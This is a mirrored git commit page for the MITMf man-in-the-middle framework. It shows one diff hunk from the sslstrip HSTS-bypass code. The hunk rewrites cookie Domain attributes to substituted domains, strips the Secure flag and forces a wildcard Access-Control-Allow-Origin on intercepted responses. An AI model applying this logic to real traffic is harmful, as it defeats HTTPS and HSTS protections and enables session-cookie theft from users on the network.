mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-16 10:03:52 -07:00
merged sslstrip+ into sslstrip, tweaked hsts bypass performance
This commit is contained in:
parent
b118106d9d
commit
642fa9cb6a
14 changed files with 234 additions and 954 deletions
|
@ -44,9 +44,30 @@ class SSLServerConnection(ServerConnection):
|
|||
return "SECURE POST"
|
||||
|
||||
def handleHeader(self, key, value):
|
||||
if (key.lower() == 'set-cookie'):
|
||||
value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
|
||||
if ServerConnection.isHsts(self):
|
||||
if (key.lower() == 'set-cookie'):
|
||||
newvalues =[]
|
||||
value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
|
||||
values = value.split(';')
|
||||
for v in values:
|
||||
if v[:7].lower()==' domain':
|
||||
dominio=v.split("=")[1]
|
||||
logging.debug("LEO Parsing cookie domain parameter: %s"%v)
|
||||
real = self.urlMonitor.sustitucion
|
||||
if dominio in real:
|
||||
v=" Domain=%s"%real[dominio]
|
||||
logging.debug("LEO New cookie domain parameter: %s"%v)
|
||||
newvalues.append(v)
|
||||
value = ';'.join(newvalues)
|
||||
|
||||
if (key.lower() == 'access-control-allow-origin'):
|
||||
value='*'
|
||||
|
||||
else:
|
||||
if (key.lower() == 'set-cookie'):
|
||||
value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
|
||||
|
||||
|
||||
ServerConnection.handleHeader(self, key, value)
|
||||
|
||||
def stripFileFromPath(self, path):
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue